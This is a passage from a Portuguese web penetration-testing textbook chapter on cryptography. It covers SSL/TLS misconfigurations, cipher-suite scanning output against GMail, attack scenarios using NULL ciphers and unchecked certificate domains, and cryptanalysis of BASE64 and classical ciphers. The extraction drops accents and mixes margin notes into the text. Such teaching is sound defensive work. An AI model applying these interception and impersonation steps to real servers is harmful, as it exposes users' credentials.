reconhecidos por navegadores e clientes web, para qualquer pessoa ou entidade. No
contexto de aplicaes web, esta possibilidade, quando agregada a um ataque de redire-
cionamento, permite realizar uma personificao perfeita de um servidor, isto , conexes
SSL ou TLS sem advertncia de problema no certificado utilizado. A origem do problema foi
o uso por algumas autoridades certificadoras de um algoritmo quebrado, no caso o MD5,
contrariando o clamor da comunidade criptolgica. A soluo, por sua vez, depende da revo-
gao dos certificados razes das autoridades problemticas, o que realizado por meio da
atualizao dos navegadores web. Mas qual a porcentagem de usurios que regularmente
atualizam os softwares que utilizam? A resposta desta pergunta deveras preocupante!
Exerccio de nivelamento 1 e
Acesso aplicao web
Voc j acessou alguma aplicao web para a qual o navegador web tenha apresentado erro
relacionado ao certificado digital?
408
1 Confidencialidade informaes transportadas pelo canal no so reveladas a q
terceiros que no sejam parte da comunicao. Por exemplo, senhas e nmeros de
carto de crdito devem ser conhecidos apenas pelas partes autorizadas.
Em aplicaes web, esses requisitos so atendidos, normalmente, pelo uso dos proto-
colos SSL e TLS, para transporte de dados HTTP, os quais realizam um timo trabalho,
quando implantados corretamente. Infelizmente, na prtica, servidores no so corre-
tamente configurados, do ponto de vista de segurana, e clientes de acesso personali-
zados no implementam algumas sutilezas desses protocolos adequadamente.
l
Do lado do servidor, um problema muito comum ocorre com o certificado digital utilizado
na configurao do tnel SSL/TLS. Inmeros so os casos de aplicaes que empregam
Saiba mais
certificados autoassinados, expirados ou emitidos por autoridades certificadoras caseiras,
Phishing uma tcnica das quais os navegadores e sistemas clientes no possuem a chave pblica autntica, para
baseada em engenha- validao de assinatura. Em qualquer um desses casos, uma mensagem de erro, como a
ria social, na qual um
usurio malicioso se ilustrada pela Figura 9.1, exibida ao usurio. Como o objetivo deste sempre utilizar o
passa por uma enti- sistema, provavelmente, ele ignorar o alerta e continuar o acesso, ainda mais impulsio-
dade confivel, para
nado pelo hbito criado pela aplicao. Posteriormente, se ele for vtima de um ataque de
obter informaes
confidenciais, como phishing ou de redirecionamento, a tela de aviso aparecer igualmente e a pessoa prosse-
nmeros de carto de guir como acostumada.
q
crdito e credenciais
de acesso a sistemas. Outro problema resultante de m configurao o suporte a sutes criptogrficas fracas
Um exemplo so as
e a verses antigas do protocolo SSL.
mensagens de correio
eletrnico, suposta-
mente enviadas pelo
Existem sutes para testes, habilitadas por padro em sistemas antigos, as quais no utilizam
banco, que solicitam cifras para proteger a confidencialidade das informaes trafegadas. Outras, por sua vez,
o fornecimento de se- cifram o canal, mas com algoritmos datados ou de exportao, que podem ser quebrados
nhas alegando, como
motivo, problemas por fora bruta. J no caso de SSL 2.0, possvel forar a escolha de algoritmos, por meio da
no sistema. adulterao do handshake, e, tambm, excluir bytes ao final de cada mensagem, sem ser
detectado, devido a uma falha na gerao do MAC (Wagner e Schneier, 1996). Alm dessas vul-
nerabilidades, esta verso baseia o encerramento de sesso no envio de um pacote TCP com
Flag FIN o flag FIN habilitado. Qualquer pessoa, porm, pode forjar um pacote assim e, portanto, no
Bit presente h como as entidades envolvidas na comunicao saberem se a transmisso foi encerrada de
no cabealho TCP,
maneira legtima.
utilizado para
encerramento
de conexes.
Captulo 9 - Mecanismos criptogrficos
409
Um ponto que nunca recebe a ateno que merece a proteo da chave privada utili- q Figura 9.1
zada por esses protocolos. Erro na validao
do certificado.
Em ambientes tpicos, ela protegida por uma senha, a qual embutida em scripts de
inicializao do servidor, para que seja carregada automaticamente. Normalmente, no h
restries quanto leitura desses arquivos, o que permite que qualquer usurio acesse a
chave privada, aps inspeo da senha utilizada. Embora essa abordagem seja melhor em
termos operacionais, pssima para a segurana. Uma vez conseguidos a chave privada e
certificado de uma aplicao web, fica muito fcil personific-la de maneira perfeita, pois
nenhum navegador ir reclamar de no ter conseguido completar o handshake SSL/TLS.
Assim, sem muita dificuldade, um usurio pode ser induzido a acessar pginas sensveis,
por meio desse protocolo, quando, ento, informaes em claro podero ser capturadas
em trnsito.
Logo, se a data do acesso estiver fora do prazo de validade do certificado, se ele estiver
revogado ou se no for possvel verificar as assinaturas digitais na cadeia de certificao,
o handshake deve ser finalizado com erro. Outro aspecto importante considerado na
especificao do HTTPS, mas no pelos protocolos SSL/TLS, que o nome do domnio sendo
410
acessado deve ser conferido com o contido no certificado (Howard et al., 2005; Oaks, 2001).
Se isto no for satisfeito, possvel violar o requisito de autenticao de entidades.
Por fim, observe-se a Figura 9.1 novamente. O navegador, frente a um problema na nego-
ciao do protocolo SSL, d a opo ao usurio, potencialmente leigo em segurana, de
adicionar uma exceo e continuar o acesso ao stio web. Entregar uma deciso de segu-
rana a um usurio , conforme Howard et al. (2005), uma vulnerabilidade, pois no se pode
esperar que ele sempre escolha a opo mais segura. Consonantemente, o autor considera
que isso seja um defeito de projeto dos navegadores, que deveriam considerar uma falha
no estabelecimento do tnel SSL, como um problema de conectividade de rede, no qual o
usurio impedido de prosseguir.
Apesar disso, comum encontrar stios web que a aceitam, para que navegadores e clientes
web antigos no sejam impedidos de acessar a aplicao. Esta prtica um timo exemplo
de aceitao de risco para suportar uma base de softwares legados, mas que no vai ao
encontro das melhores prticas de segurana.
A maneira mais simples de testar se um servidor est configurado para aceitar SSLv2 q
por meio da opo -ssl2 do utilitrio OpenSSL.
...
SSL handshake has read 1416 bytes and written 364 bytes
---
Compression: NONE
Expansion: NONE
Captulo 9 - Mecanismos criptogrficos
SSL-Session:
Protocol : SSLv2
Cipher : DES-CBC3-MD5
Session-ID: 19E91A78897D209ACAC7E8ED05AA9C04
Session-ID-ctx:
Master-Key: 1522EE3B83E13B7C4CB1E04792BB1E7488209B4D7D0992FF
Key-Arg : AC6828F1ED84E617
411
Start Time: 1295810056
---
...
Dentre os exemplos extremos deste caso esto as sutes NULL-MD5 e NULL-SHA, que
no cifram os dados trafegados e permitem, portanto, que as informaes, em claro, sejam
capturadas em trnsito. O seguinte cenrio ilustra um ataque bem-sucedido contra esta
vulnerabilidade:
1. Por meio de outra vulnerabilidade no cliente, o atacante fora que a lista de sutes q
enviadas na mensagem client_hello contenha apenas a NULL-SHA.
2. O servidor escolhe os algoritmos para proteo do tnel SSL, com base na inter-
seco das listas de sutes suportadas por ambos que, no caso, a prpria NULL-
-SHA.
Figura 9.2
3. O atacante captura os pacotes de rede e extrai as informaes desejadas que, embora Trfego TLS
encapsuladas por SSL, no esto cifradas, conforme possvel observar pela Figura 9.2. em claro.
Teste de Invaso de Aplicaes Web
412
Existem diversas ferramentas que podem ser utilizadas para identificar as sutes cripto- q
grficas suportadas por um servidor web. A primeira delas o prprio OpenSSL, com a
opo -cipher, que define a sute a ser utilizada na conexo.
Se ela no for suportada pelo servidor, uma mensagem de erro exibida, informando que
a negociao SSL/TLS no foi bem-sucedida. O exemplo abaixo testa se os servidores do
GMail suportam a sute NULL-SHA.
CONNECTED(00000003)
Observe-se que o comando acima testa apenas uma nica sute criptogrfica e, assim, ele
deve ser repetido individualmente para cada par (sute, verso de protocolo). Embora isso seja
uma desvantagem do OpenSSL, relativamente fcil implementar um script baseado neste
utilitrio que identifique todas as sutes suportadas por um servidor. Basta para esse prop-
sito verificar se cada execuo do comando resulta em erro ou em uma conexo efetuada.
Apesar disso, pode ser facilmente portado para outras plataformas, por meio do software
de emulao Wine. Apresenta a grande vantagem de testar diversas sutes com uma nica
execuo; porm, no testa o suporte a cifras nulas e no atualizado desde 2004, quando
foi lanado para o pblico. Este ltimo problema, no entanto, no to expressivo, uma vez
que raramente so adicionadas novas sutes ao protocolo. Para exemplificar o uso do
THCSSLCheck, o relatrio parcial da execuo contra o GMail est ilustrado a seguir.
------------------------------------------------------------------------
------------------------------------------------------------------------
[*] port is up !
----------------------------------------------------------------------
413
RC4-MD5 - 128 Bits unsupported
...
----------------------------------------------------------------------
...
----------------------------------------------------------------------
...
q
para GNUs Not Unix.
A ltima ferramenta que ser abordada nesta seo a SSL Scan, desenvolvida e distri- O projeto GNU
buda pela empresa Titania, sob uma licena GPLv3. iniciou-se em 1983 com
o objetivo de criar um
Para gerar o binrio, necessrio utilizar o compilador GNU C e ter o OpenSSL instalado sistema operacional
completo, similar ao
no ambiente. Alm de testar diversas sutes a partir de uma nica execuo, o SSL Scan
Unix, baseado somente
tambm exibe informaes sobre o certificado e lista quais so os mecanismos escolhidos em softwares livres.
414
por padro, para os protocolos SSLv2, SSLv3 e TLSv1, quando disponveis. Observe-se,
abaixo, o relatrio parcial da execuo do utilitrio contra o GMail.
~$ sslscan gmail.google.com
_
_ _ _ _ _ _| |_ _ _ ___ __ _ _ __
/ _ _/ _ _| / _ _|/ _ _/ _ | _ \
\_ _ \_ _ \ \_ _ \ (_| (_| | | | |
|_ _ _/_ _ _/_|_ _ _/\_ _ _\_ _,_|_| |_|
Version 1.8.2
http://www.titania.co.uk
...
...
...
415
Prefered Server Cipher(s):
SSL Certificate:
Version: 2
00:96:2a:f2:79:d6:2b:e9:49:ae:96:1b:60:12:39:
ac:9c:b2:ee:84:ac:b9:5a:7e:0e:b2:ef:7c:0a:5a:
7b:f0:82:db:52:c5:09:13:1f:65:38:e7:da:af:4b:
53:39:fe:50:3d:2a:d5:e9:de:31:3a:a5:05:1c:65:
b6:59:32:de:56:90:a0:c4:09:de:dc:e3:4b:17:b6:
bc:59:47:fa:e8:95:5b:d5:52:ba:2f:c7:95:74:8d:
e4:d1:17:ae:06:97:ba:f6:22:6e:48:85:aa:8d:c3:
e8:da:74:60:4f:9a:a3:43:4f:6e:e2:29:eb:e0:aa:
9e:bb:a7:ed:16:6a:17:7a:35
X509v3 Extensions:
Teste de Invaso de Aplicaes Web
A8:C9:67:22:2E:EE:32:78:B3:E2:B9:18:5B:62:87:1F:87:2D:4E:42
...
416
Problemas com o certificado digital
Para verificar se h algum problema com o certificado digital utilizado por um ser- q
vidor, basta acessar com um navegador web qualquer pgina da aplicao servida por
HTTPS. Se algo no estiver bem configurado, uma advertncia parecida com a ilustrada
pela Figura 9.1 ser exibida, indicando uma vulnerabilidade. Situaes relacionadas
ao certificado instalado, que impedem que a negociao SSL/TLS seja realizada com
sucesso incluem:
1 Certificado expirado.
1 Certificado vlido a partir de data posterior atual.
1 Certificado autoassinado.
1 Certificado emitido por autoridade certificadora desconhecida pelo navegador.
1 Certificado revogado.
1 Assinaturas digitais invlidas na cadeia de certificao.
1 Nome de domnio do stio web no incluso no(s) contido(s) no certificado.
Quando a aplicao sofre dessa vulnerabilidade, o usurio fica acostumado com a apresentao
da mensagem de erro, pelo navegador web, e continua o acesso, ignorando-a. Isso abre caminho
para um ataque, que permite coletar identificadores de usurio e as respectivas senhas:
417
Um possvel cenrio de explorao da vulnerabilidade descrito a seguir:
2. Um servidor web criado com contedo clonado do domnio ABC e com HTTPS
configurado com o par de chaves do primeiro passo.
4. Durante a negociao SSL, o servidor clonado envia o certificado do domnio XYZ para
o navegador, que verifica, com sucesso, data de validade, assinaturas da cadeia de
certificao e estado no revogado, mas no valida o domnio. Como nenhum erro
ocorre, a chave pblica extrada e utilizada para compor a mensagem client_key_
exchange, enviada, em seguida, ao servidor.
418
Considere-se como exemplo o protocolo de autenticao ilustrado na Figura 9.3:
2. O sistema calcula o hash da senha, antes de envi-la ao servidor por meio de um canal
inseguro. A justificativa para isso que, dada a resistncia da pr-imagem, computacio-
nalmente infactvel recuperar a senha em claro a partir do hash capturado.
Alice
Alice, 0x0243af7a23548a8
0eeba8f951314fa8c
canal inseguro
Figura 9.3 =?
Protocolo de auten- Id, 0x0243af7a23548a8
ticao vulnervel. 0eeba8f951314fa8c
Exerccio de fixao 1 e
Tipos de vulnerabilidades
Que tipos de vulnerabilidades podem estar presentes na configurao de um tnel SSL/TLS?
Contramedidas
Os seguintes pontos devem ser observados para evitar-se uma comunicao insegura q
com a aplicao web:
419
1 No utilize verses de SSL anteriores a 3.0 e prefira o uso do protocolo TLS. q
1 Compre e instale um certificado digital de uma autoridade certificadora conhecida e
confivel. No deixe que o certificado expire, adquirindo um novo antes que isso acontea.
1 Para aplicaes internas, caso uma infraestrutura de chaves pblicas prpria seja uti-
lizada, instale o certificado raiz correspondente nos navegadores web dos usurios.
1 No permita que um recurso servido por meio do protocolo HTTPS tambm seja
acessvel por HTTP.
Nesse caso, uma nica vulnerabilidade no servidor pode ser suficiente para permitir a recu-
perao das informaes que esto em claro no disco. O usurio malicioso, obviamente, no
se esforar para quebrar os mecanismos criptogrficos utilizados na proteo do canal de
comunicao, na presena de um caminho mais fcil a ser trilhado.
Por outro lado, quando existe a preocupao em cifrar dados sigilosos, a maior vulne- q
rabilidade encontrada com relao proteo das chaves criptogrficas utilizadas.
Normalmente, os desenvolvedores as embutem no cdigo, achando que, uma vez com-
pilados os programas, ser difcil que algum as recupere.
Este pensamento, muito comum, infelizmente, est equivocado. Por exemplo, se a chave foi
colocada como uma cadeia de caracteres, basta utilizar um comando como o strings do
Linux, para encontrar a informao desejada. Caso a chave seja ofuscada, tcnicas de depu-
rao do programa podem ser empregadas, chegando-se ao mesmo resultado.
Mesmo que fosse impossvel descobrir a chave, por meio da anlise do binrio, tal prtica
fere os preceitos de gerenciamento de chaves criptogrficas. O motivo que a chave teria
criptoperodo infinito, isto , ela nunca expiraria, salvo se novo binrio fosse gerado, com
substituio da chave. Note-se que o objetivo em se estabelecer um tempo mximo para o
uso de uma chave limitar: a quantidade de texto cifrado para criptoanlise; o montante de
informao em caso de comprometimento; o uso do algoritmo ao tempo de vida esperado;
o tempo disponvel para ataques de fora bruta (Menezes et al., 2001).
q
Teste de Invaso de Aplicaes Web
Pensando no ciclo de vida das chaves criptogrficas, um ponto que merece, mas no
recebe, bastante ateno a fase de criao, que deve empregar mtodos que garantam
um bom nvel de aleatoriedade.
420
DES Muitas empresas utilizam cifras caseiras ou clssicas na proteo de informaes q
Data Encryption valiosas, conforme constatado em diversas auditorias e anlises de vulnerabilidades
Standard uma cifra
realizadas pelo autor deste texto.
simtrica de blocos,
definida pelo padro
americano FIPS 46-2, Na grande maioria dos casos, empregavam-se cifras de substituio monoalfabtica
que utiliza blocos de com chaves fixas como parte da transformao; em outros, as informaes eram apenas
64 bits e chaves de
codificadas em BASE64. No nem necessrio dizer que todas essas solues fornecem um
56 bits. Devido ao
pequeno tamanho, foi nvel de segurana quase nulo. Um pouco melhor, mas ainda problemtico face ao valor das
quebrada, em 1998, informaes protegidas, o uso de DES simples, contra o qual ataques de fora bruta so
por uma mquina
viveis a um custo relativamente baixo.
q
criada especificamente
para executar busca
Aspectos mais sutis, com relao ao armazenamento seguro de informaes, esto rela-
exaustiva de chaves.
cionados a detalhes de desenvolvimento da soluo.
ASCII Valor 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Acrnimo para
Cdigo A B C D E F G H I J K L M N O P
American Standard
Code for Information
Interchange,
um esquema de Valor 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
codificao que mapeia
caracteres para valores Cdigo Q R S T U V W X Y Z a b c d e f
numricos entre 0 e
255, considerando,
tambm, a parte
Valor 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
estendida da tabela.
Cdigo G h i j k l m n o p q r s t u v
Valor 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
Captulo 9 - Mecanismos criptogrficos
Figura 9.4
Mapeamento utiliza- Cdigo W x y z 0 1 2 3 4 5 6 7 8 9 + /
do em BASE64.
A entrada processada da esquerda para a direita, trs octetos por vez, os quais q
resultam em quatro caracteres codificados. Caso o tamanho da mensagem no seja ml-
tiplo de trs, o ltimo bloco conter um ou dois octetos e dever ser tratado de maneira
especial, conforme Figura 9.5 e Figura 9.6, respectivamente:
1 Um octeto quatro bits 0 devem ser adicionados ao final do octeto, de modo a com-
pletar 12 bits, que so ento mapeados para dois caracteres, concatenados com ==.
1 Dois octetos dois bits 0 devem ser adicionados ao final dos octetos, completando
18 bits, que so ento mapeados para trs caracteres, concatenados com =.
421
Bits adicionados
octeto
0 0 0 0
Figura 9.5
Codicado 1 Codicado 2 = = Codificao em
BASE64, quando o
ltimo bloco possui
Preenchimento um octeto.
Bits adicionados
1 octeto 2 octeto
0 0 Figura 9.6
Codificao em
Codicado 1 Codicado 2 Codicado 3 =
BASE64, quando o
ltimo bloco possui
Preenchimento
dois octetos.
Um exemplo completo de codificao pode ser observado na Figura 9.7. A primeira linha
ilustra a entrada, em caracteres imprimveis, correspondente palavra Teste; na segunda,
esto representados os valores ASCII de cada caractere, em binrio, alm dos dois bits 0
adicionados; a seguinte mostra o agrupamento em blocos de 6 bits e a ltima, o resultado
em BASE64. Para realizar a decodificao, basta desfazer cada um dos passos, iniciando pelo
ltimo deles.
Figura 9.7
Exemplo de codifi-
cao em BASE64.
Dado o alfabeto caracterstico utilizado, muito fcil reconhecer dados codificados em
BASE64. Em um teste de invaso, sempre que informaes nesse formato forem encon-
tradas, deve-se proceder decodificao delas, para constatar se o mecanismo no est
sendo incorretamente utilizado para prover confidencialidade. Algumas vezes, pode ocorrer
de haver um prefixo ou sufixo, normalmente, em outro formato, que precisa ser ignorado
para que a recuperao da informao original seja possvel.
Exerccio de fixao 2 e
BASE64
seguro utilizar BASE64 para proteo de informaes sensveis? Justifique sua resposta.
Teste de Invaso de Aplicaes Web
422
Como h uma chance no marginal de se deparar com esse cenrio, importante saber como
so os processos de criptoanlise que podem ser empregados em cada caso. Afinal, a sub-
trao de informaes de um ambiente um dos principais objetivos de um teste de invaso.
O objetivo evitar que as frequncias dos elementos da mensagem original sejam refletidas
no texto cifrado, como ocorre com a letra e, no exemplo da Figura 9.8. Embora isto evite
alguns ataques, outros ainda so possveis, salvo em alguns casos, em que algumas condi-
es muito especiais so satisfeitas. As cifras clssicas que sero analisadas nesta seo,
basicamente, so variaes desta e da primeira categoria.
Figura 9.8
Exemplo de cifra
de substituio
simples.
423
ndice de coincidncia (IC)
O primeiro passo antes de atacar um texto cifrado identificar o tipo de algoritmo que q
foi utilizado, pois os mtodos de criptoanlise diferem para cada classe. Especificamente
para os criptossistemas histricos, o objetivo determinar se foram empregadas cifras
monoalfabticas, polialfabticas ou de transposio. O ndice de coincidncia, introdu-
zido por William Friedman em 1922 (Friedman, 1922; Swenson, 2008), uma ferramenta
estatstica que pode ser utilizada para este propsito, pois ela mede a distribuio dos
caracteres em um texto.
Para compreender como calcular o ndice, sero utilizados alguns conceitos elementares de
probabilidade. Imagine-se uma urna contendo n papis, cada um com uma nica letra do
alfabeto latino, denotado por A. Se forem retirados, aleatoriamente e sem reposio, exata-
mente dois papis, qual a probabilidade de que contenham a mesma letra? A resposta desta
pergunta dada pelo ndice de coincidncia.
n_ (n_-1)
IC(n) = P =
n (n-1)
A A
No caso de uma distribuio homognea, na = n/26, para toda letra do alfabeto. Substituindo
na frmula acima, obtm-se:
n n n - 26
x( - 1)
26 26 26 n-26 n-26
IC(n) = = = 26 x =
n (n-1) 26 (n -1) 26 26 (n -1) 26n - 26
A A
Supondo uma enorme quantidade de papis, isto , com n tendendo ao infinito, possvel
calcular o ndice por meio do limite da funo:
n - 26 L'Hpital 1 ~ 0,03846
lim IC(n) = lim lim IC(n) = =
ng ng 26n - 26 ng 26
Este valor de IC, denotado por IC A , reflete uma sequncia de letras aleatoriamente selecionada
a partir de uma distribuio uniforme. Para um texto em uma lngua qualquer, entretanto, as
frequncias no so homogneas, mas, sim, apresentam um padro estatstico, que depende
do idioma. De modo a obter o ndice de coincidncia, nesses casos, deve-se atribuir os valores
Teste de Invaso de Aplicaes Web
424
Figura 9.9
Tabela de frequn-
cias individuais de
letras em diversos
idiomas.
Mas como o ndice de coincidncia pode ser utilizado com o propsito enunciado? q
Recorde-se que em cifras monoalfabticas as frequncias das letras no texto em claro so
refletidas no texto cifrado, embora em smbolos diferentes, e observe-se que em cifras
de transposio elas no so alteradas. Isso implica que o IC, nesses dois casos, deve
ser prximo ao do idioma da mensagem. Por outro lado, quando cifras polialfabticas e
homofnicas so empregadas, a frequncia original das letras diluda no texto cifrado e,
portanto, o IC deve aproximar-se de IC A .
Cifra de Cesar
A cifra de Cesar, atribuda folcloricamente ao imperador romano Jlio Cesar, pertence q
classe de algoritmos de substituio monoalfabtica e consiste em se trocar cada letra
Captulo 9 - Mecanismos criptogrficos
do texto em claro por aquela situada trs posies adiante no alfabeto romano. Note-se
que neste esquema a transformao fixa e, logo, uma chave no utilizada.
Isto uma pssima prtica, pois requer que o algoritmo seja mantido em sigilo e, se
ele for comprometido, um novo mecanismo deve ser projetado para substitu-lo. Para
quebrar este criptossistema, basta tentar decifr-lo pelas vias normais, isto , substituir
cada letra do texto cifrado por aquela que ocupa a terceira posio anterior no alfabeto.
425
O mapeamento utilizado por esta cifra, bem como um exemplo, est ilustrado na Figura 9.10.
O exemplo abaixo, por sua vez, ilustra esta cifra com chave k = 10.
Um espao de chaves pequeno como este, porm, no acrescenta muito segurana, q Figura 9.11
Exemplo de cifra de
uma vez que possvel executar um ataque de fora bruta, no qual todas as possibili- deslocamento com
dades so testadas, uma a uma. Disso, pode-se pensar erroneamente que, para obter chave k = 10.
Para esclarecer este ponto, considere-se que uma cifra simtrica um cofre, com segredo
Teste de Invaso de Aplicaes Web
de mil dgitos. Obviamente, quanto maior o comprimento deste valor, mais difcil varrer
todas as combinaes possveis. Mas para quebrar o sistema isto realmente neces-
srio? Depende! Se o mecanismo for fraco, o melhor ataque deixa de ser a fora bruta. Na
analogia, se o cofre for de madeira, quem vai se preocupar em testar todos os segredos?
muito mais fcil destruir o prprio cofre!
Como exemplo de criptoanlise, considere-se que o texto cifrado YKMAXGTIG foi intercep-
tado. Sabendo que a cifra de deslocamento foi utilizada, deve-se tentar decifr-lo com cada
uma das chaves existentes, a partir de k = 1, at que texto legvel seja recuperado. Os passos
realizados neste processo, ilustrados na Figura 9.12, finalizam em k = 6, quando o texto em
claro seguranca encontrado.
426
Texto
k Mapeamento
candidato
0 a b c d e f g h i j k l m n o p q r s t u v w x y z YKMAXGTIG
1 B C D E F G H I J K L M N O P Q R S T U V W X Y Z A xjlzwfshf
2 C D E F G H I J K L M N O P Q R S T U V W X Y Z A B wikyverge
3 D E F G H I J K L M N O P Q R S T U V W X Y Z A B C vhjxudqfd
4 E F G H I J K L M N O P Q R S T U V W X Y Z A B C D ugiwtcpec
5 F G H I J K L M N O P Q R S T U V W X Y Z A B C D E tfhvsbodb
6 G H I J K L M N O P Q R S T U V W X Y Z A B C D E F seguranca
Figura 9.12 O algoritmo ROT13, assim como a cifra de Cesar, uma particularizao da cifra de q
Exemplo de cripto- deslocamento, mas com chave k = 13.
anlise da cifra de
deslocamento. O ponto interessante que os processos de ciframento e de deciframento podem utilizar
exatamente a mesma transformao, pois duas aplicaes consecutivas do algoritmo fazem
com que cada letra do texto em claro seja substituda por aquelas 26 posies adiante no
alfabeto, ou seja, por ela mesma. Devido a este fato, a quebra do ROT13 trivial, bastando
aplic-lo sobre o texto cifrado que se julga ser texto protegido pelo algoritmo.
Uma vez que o espao de chaves deste esquema tem tamanho razovel para os dias
atuais, resta saber se o algoritmo tambm resistente, isto , se no h um ataque mais
eficiente que a busca exaustiva de chaves. O primeiro fato que deve ser levado em conta
que cifras de substituio simples apenas transferem as frequncias individuais dos
smbolos do texto em claro para outros caracteres no texto cifrado. Assim, por exemplo,
se a chave escolhida mapeia a letra a para J e existem 1 milho de as, no texto em
claro, a mesma quantidade de Js estar presente no texto cifrado. O segundo aspecto
importante que toda linguagem natural redundante, o que determina uma estrutura
caracterstica de frequncias e agrupamentos de letras (Menezes et al., 2001).
Sob a luz deste fato, a Figura 9.13 e a Figura 9.14 ilustram, respectivamente, os percentuais
de ocorrncia de cada letra nas lnguas inglesa e portuguesa.
Captulo 9 - Mecanismos criptogrficos
Note-se que, no caso de nossa lngua nativa, as vogais respondem por aproximadamente
metade das letras em um texto. Este nmero bem inferior para o idioma norte-americano,
o qual gira em torno de 38%.
427
Figura 9.13
Frequncias das
letras na lngua
inglesa.
Para enfatizar como as frequncias das letras em idiomas especficos so refletidas em Figura 9.14
textos aleatrios, dois exemplos em ingls e dois em portugus sero fornecidos, junta- Frequncias das
letras na lngua
mente com os respectivos histogramas. A partir deles, importante constatar que, para portuguesa.
textos de tamanho razovel, o padro da lngua mantido, o que ser muito til no processo
de criptoanlise da cifra de substituio monoalfabtica.
Texto em ingls #1
O primeiro exemplo em ingls, retirado da revista Scientific American, expe o processo que
resultou na extino dos Neandertais, que, por muito tempo, coexistiram com nossa espcie.
Apesar de o texto ser pequeno, as frequncias individuais das letras esto muito prximas s
esperadas pelo idioma, conforme pode ser observado na Figura 9.15. Perceba-se, entretanto,
que a ordem dos elementos mais comuns est um pouco diferente da lngua inglesa, embora
ainda dentro do erro estatstico.
Teste de Invaso de Aplicaes Web
Some 28,000 years ago in what is now the British territory of Gibraltar, a group of Neander-
tals eked out a living along the rocky Medterranean coast. They were quite possibly the last
of their kind. Elsewhere in Europe and western Asia, Neandertals had disappeared thou-
sands of years earlier, after having ruled for more than 200,000 years. The Iberian Peninusla,
with its comparatively mild climate and rich array of animals and plants, seems to have been
the final stronghold. Soon, however, the Gibraltar population, too, would die out, leaving
behind only a smattering of their stone tools and the charred remnants of their campfires
(Wong, 2009).
428
Figura 9.15 Texto em ingls #2
Comparao das
frequncias das Este exemplo, extrado da revista Digital PhotoPro, apresenta o trabalho do fotgrafo
letras em ingls e Stuart Weston. Observe-se, na Figura 9.16, que, embora as distribuies sejam parecidas, as
em um trecho de
artigo. frequncias das letras mais comuns no esto muito aderentes estrutura da lngua. Esses
desvios, entretanto, so comuns para textos pequenos.
Stuart Weston is a multitalented bundle of energy who happens to make his living as a
fashion photographer. His previous careers include a stint as an aerospace engineer, and hes
apparently a talented drummer, painter and handyman. Hes currently building a log cabin
in the French countryside, which will be his respite from running a booming business one
that not only includes fashion photography, but also video production, graphic design and
postprocessing. It all started, though, because 30 years ago, he worked with a photographer
who was more interested in ogling models than he was in taking pictures (Savalich, 2009).
frequncias das
letras em ingls e trata da vacina contra a malria e foi publicada na edio brasileira da revista Scientific
em um trecho de
artigo. American. Observando o histograma apresentado na Figura 9.17, fcil perceber como as
frequncias das letras do texto so muito prximas s da lngua, principalmente, para os
elementos mais comuns, com exceo da letra O.
Neste exato momento, em algum lugar do mundo numa placa de Petri em Baltimore,
talvez, ou nas glndulas salivares de um mosquito criado num laboratrio de Seattle, ou
ainda na corrente sangunea de um aldeo em Gana , est presente um composto qumico
que poder ajudar a erradicar a doena mais letal da histria da humanidade. Os cientistas
esto desenvolvendo muitas vacinas experimentais promissoras contra a malria, e, pela
429
primeira vez, uma delas atingiu a fase de testes avanados em humanos. Se esta ou outra
vacina potencial mostrar-se eficaz em humanos, mesmo que parcialmente, milhes de
crianas e mulheres grvidas podero ser salvas. Essa vacina seria a nica j desenvolvida
contra um parasita humano, um feito digno de Nobel. E poderia, na forma de sua primeira
gerao, ser distribuda na frica j em 2015 (Carmichael, 2010).
Texto em portugus #2
Figura 9.17
O texto a seguir, extrado da revista National Geographic, fala da expanso imobiliria que Comparao das
frequncias das
vem ocorrendo na cidade de guas Claras, DF, para comportar a legio de pessoas que letras em portugus
esto se mudando para a capital, em busca de novos desafios de trabalho. Por meio de uma e em um trecho de
rpida comparao dos histogramas da Figura 9.18, percebe-se que, alm das distribuies artigo.
Futurismo a palavra da moda em guas Claras. Todo mundo usa, mas isso no quer dizer
que seu significado seja claro. Um dia depois da minha chegada, um corretor de imveis vem
conversar: O senhor precisa conhecer o nosso projeto. o que h de mais atual em termos
de futurismo, diz (mesmo sem entender nada, aceito um carto para visitar o estande de
vendas do edifcio). Mais do que antever o amanh, ou o dia incerto no qual a cidade que
emerge com velocidade estonteante estar definitivamente construda no Distrito Federal,
o futurismo um modo de explicar uma arquitetura que, acreditam os moradores, servir
para diferenciar seu novo hbitat. Ou seja, um estilo. Ou uma maneira curiosa de tentar Figura 9.18
buscar identidade esttica em uma cidade de feies nicas no Brasil absolutamente Comparao das
frequncias das
vertical, na qual centenas de espiges residenciais, finalizados ou em obras, se projetam letras em portugus
rumo aos cus do Planalto Central, anunciando um novo tempo nas adjacncias da capital e em um trecho de
da Repblica (Ribeiro, 2011). artigo.
Teste de Invaso de Aplicaes Web
430
O mtodo conhecido por anlise de frequncias, introduzido no sculo IX pelo polmata q
rabe Ab Ysf Yaqb ibn Is-hq ibn as-Sabbh ibn omrn ibn Ismal al-Kind, emprega
os conceitos recm apresentados, para quebrar cifras de substituio simples. O pri-
meiro passo consiste em descobrir o idioma da mensagem original, o que fundamental
para saber quais so as frequncias esperadas de cada letra do alfabeto. Em seguida,
deve-se realizar a contagem de cada smbolo presente no texto cifrado sendo analisado.
Como cifras monoalfabticas apenas alteram a face de cada smbolo, mantendo a
distribuio geral de frequncias, razovel assumir que cada elemento do texto cifrado
corresponde a uma letra similarmente frequente do alfabeto original.
Por exemplo, em um texto em ingls, se Z a letra cifrada com maior nmero de ocorrn-
cias, h uma grande probabilidade de que seja o mapeamento da letra e.
Para facilitar a compreenso da tcnica de al-Kind, o texto cifrado apresentado na Figura 9.19
ser minuciosamente criptoanalisado. Considere-se que a mensagem original foi redigida
na lngua inglesa e que uma cifra de substituio simples foi empregada para proteg-la. Um
forte indicativo de que a ltima premissa est correta o ndice de coincidncia igual a 0,0723,
que revela uma alta redundncia no texto cifrado. Por outro lado, se ele fosse a nica ferra-
menta utilizada para identificar a lngua original, a principal candidata teria sido o espanhol,
em vez do ingls. Isso ocorre porque o IC um indicador estatstico, com valores muito pr-
ximos para os diversos idiomas, o que faz com que no seja uma tcnica precisa para alcanar
esse propsito.
A primeira tarefa que deve ser realizada calcular as frequncias individuais de cada
smbolo no texto cifrado e compar-las com a estrutura da lngua inglesa. O resultado,
apresentado na Figura 9.20, mostra que as trs letras mais comuns no texto so G, D e
Figura 9.20 Q, em ordem decrescente de percentual de ocorrncias. Estatisticamente, a partir da
